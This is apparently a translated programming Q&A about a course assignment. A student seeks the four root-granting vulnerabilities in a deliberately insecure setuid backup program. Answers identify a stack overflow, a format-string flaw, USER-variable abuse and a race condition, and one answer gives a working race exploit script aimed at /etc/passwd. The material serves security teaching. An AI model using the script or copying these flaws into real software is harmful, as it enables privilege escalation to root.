4

我正在做一个安全课程的作业，要求我找到备份程序 (setuid) 的 4 个漏洞并使用它们中的每一个来获得 root 访问权限（在具有旧版本 gcc 等的虚拟 linux 机器上）。应该有一种缓冲区溢出和一种格式字符串。

谁能帮我指出这4个漏洞在哪里？我认为缓冲区溢出可能发生在copyFile().

以下是backup.c的代码：（可以在“backup backup foo”或“backup restore foo”中调用）

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>

#define CMD_BACKUP 0
#define CMD_RESTORE 1

#define BACKUP_DIRECTORY "/usr/share/backup"
#define FORBIDDEN_DIRECTORY "/etc"

static
int copyFile(char* src, char* dst)
{
  char buffer[3072]; /* 3K ought to be enough for anyone*/
  unsigned int i, len;
  FILE *source, *dest;
  int c;

  source = fopen(src, "r");
  if (source == NULL) {
    fprintf(stderr, "Failed to open source file\n");
    return -1;
  }

  i = 0;
  c = fgetc(source);
  while (c != EOF) {
    buffer[i]  = (unsigned char) c;
    c = fgetc(source);
    i++;
  }

  len = i;
  fclose(source);

  dest = fopen(dst, "w");
  if (dest == NULL) {
    fprintf(stderr, "Failed to open destination file\n");
    return -1;
  }

  for(i = 0; i < len; i++) 
    fputc(buffer[i], dest);

  fclose(dest);

  return 0;
}

static
int restorePermissions(char* target)
{
  pid_t pid;
  int status;
  char *user, *userid, *ptr;
  FILE *file;
  char buffer[64];
  mode_t mode;

  // execute "chown" to assign file ownership to user
  pid = fork();

  // error
  if (pid < 0) {
    fprintf(stderr, "Fork failed\n");
    return -1;
  }

  // parent
  if (pid > 0) {
    waitpid(pid, &status, 0);
    if (WIFEXITED(status) == 0 || WEXITSTATUS(status) < 0)
      return -1;
  }
  else {

    // child
    // retrieve username
    user = getenv("USER");
    // retrieve corresponding userid   
    file = fopen("/etc/passwd", "r");
    if (file == NULL) {
      fprintf(stderr, "Failed to open password file\n");
      return -1;
    }
    userid = NULL;
    while (!feof(file)) {
      if (fgets(buffer, sizeof(buffer), file) != NULL) {
    ptr = strtok(buffer, ":");
    if (strcmp(ptr, user) == 0) {
      strtok(NULL, ":"); // password
      userid = strtok(NULL, ":"); // userid
      ptr = strtok(NULL, ":"); // group
      *ptr = '\0';
      break;
    }
      }
    }

    if (userid != NULL) 
      execlp("/bin/chown", "/bin/chown", userid, target, NULL);

    // reached only in case of error
    return -1;
  }  

  mode = S_IRUSR | S_IWUSR | S_IEXEC;
  chmod(target, mode);

  return 0;
}

static
void usage(char* parameter) 
{
  char newline = '\n';
  char output[96];
  char buffer[96];

  snprintf(buffer, sizeof(buffer),
        "Usage: %.60s backup|restore pathname%c", parameter, newline);

  sprintf(output, buffer);
  printf(output);
}

int main(int argc, char* argv[]) 
{
  int cmd;
  char *path, *ptr;
  char *forbidden = FORBIDDEN_DIRECTORY;
  char *src, *dst, *buffer;
  struct stat buf;

  if (argc != 3) {
    usage(argv[0]);
    return 1;
  }

  if (strcmp("backup", argv[1]) == 0) {
    cmd = CMD_BACKUP;
  }
  else if (strcmp("restore", argv[1]) == 0) {
    cmd = CMD_RESTORE;
  } else {
    usage(argv[0]);
    return 1;
  }

  path = argv[2];

  // prevent access to forbidden directory
  ptr = realpath(path, NULL);
  if (ptr != NULL && strstr(ptr, forbidden) == ptr) {
    fprintf(stderr, "Not allowed to access target/source %s\n", path);
    return 1;
  }

  // set up paths for copy operation
  buffer = malloc(strlen(BACKUP_DIRECTORY) + 1 + strlen(path) + 1);
  if (buffer == NULL) {
    fprintf(stderr, "Failed to allocate memory\n");
    return 1;
  }

  if (cmd == CMD_BACKUP) {
    src = path;

    dst = buffer;
    strcpy(dst, BACKUP_DIRECTORY);
    strcat(dst, "/");
    strcat(dst, path);
  }
  else {
    src = buffer;
    strcpy(src, BACKUP_DIRECTORY);
    strcat(src, "/");
    strcat(src, path);

    dst = path;

    // don't overwrite existing file if we don't own it
    if (stat(dst, &buf) == 0 && buf.st_uid != getuid()) {
      fprintf(stderr, "Not your file: %s\n", dst);
      return 1;
    }
  }

  // perform actual backup/restore operation
  if (copyFile(src, dst) < 0)
    return 1;

  // grant user access to restored file
  if (cmd == CMD_RESTORE) {
    if (restorePermissions(path) < 0)
      return 1;
  }

  return 0;
}

还有一些有用的东西：

  // one way to invoke backup
  //system("/usr/local/bin/backup backup foo");

  // another way
  args[0] = TARGET; args[1] = "backup"; 
  args[2] = "foo"; args[3] = NULL;

  env[0] = NULL;
  if (execve(TARGET, args, env) < 0)
    fprintf(stderr, "execve failed.\n");
  exit(0);
4

5 回答 5

5

我不是安全专家，但这里的评论

char buffer[3072]; /* 3K ought to be enough for anyone*/

正在告诉 :-) 所以正如你所猜到的，这里有缓冲区溢出的可能性。缓冲区实际上是用来读取输入文件的内容的。所以尝试使用大于 3K 的文件。

现在，由于buffer是本地的，它被分配在堆栈上。因此，通过溢出，您可以覆盖堆栈的内容，包括调用者堆栈帧中的返回地址和局部变量。这是我所知道的理论，但我不能给你更多的实际细节。

于 2011-01-19T08:41:40.353 回答
3

  1. 格式漏洞usage()与生成的sprintf()格式printf()字符串一起存在argv[0]，攻击者可以对其进行操纵以包含他们想要的任何内容。

  2. 主要缓冲区溢出是Péter Török强调的；在扫描代码以查找安全漏洞时，任何未经检查的缓冲区充满像这样的公然评论都是自找麻烦的路标。

  3. 使用了环境变量 USER - 它可以被不道德的人操纵，但它是否真的会给你买任何东西是值得商榷的。您可以将其设置为“root”，并且尝试的“chown”命令将使用它被告知要使用的名称。

  4. chown命令和chmod()系统调用之间存在某种竞争。目前尚不清楚您将如何将其与其他问题分开利用 - 但它可能会给您一些可利用的东西。

包括<sys/types.h>两次是多余的，但在其他方面是无害的。使用 POSIX 2008，在大多数地方甚至根本不需要它。

于 2011-01-19T09:41:27.087 回答
0

受 Jonathan Leffler 的回答中的漏洞 4 的启发，这里是一个 TOCTOU（从检查时间到文件更新时间的间隔中的竞争条件）的利用，在realpath()检查和fopen()

trap 'rm -f my_passwd; kill -TERM 0' INT

function p1()
{
    while [[ 1 ]]
    do
            nice -20 ./backup restore my_passwd
            ls -l /etc/passwd /etc/my_passwd my_passwd
    done
}

function p2()
{
    while [[ 1 ]]
    do
            rm -f my_passwd; ln /etc/my_passwd my_passwd; sleep .1; rm -f my_passwd
    done
}

export USER=root
p1 & p2

无论如何，将您设置UMASK为000应该允许对chmod()问题进行类似的利用。

于 2011-01-20T00:31:43.133 回答
0

您不能再利用 Linux 上的缓冲区溢出，因为 SE-Linux 通过中止有问题的程序和 Wand 地址随机化来防止恶意或意外的意外代码执行。

您需要先关闭这些程序，但这首先需要 root 访问权限。

于 2011-01-19T08:42:55.363 回答
-1

还要考虑一个字符串比较是否足以锁定禁止目录。答：不，至少有两种我能想到的方式。

于 2016-04-06T15:50:34.757 回答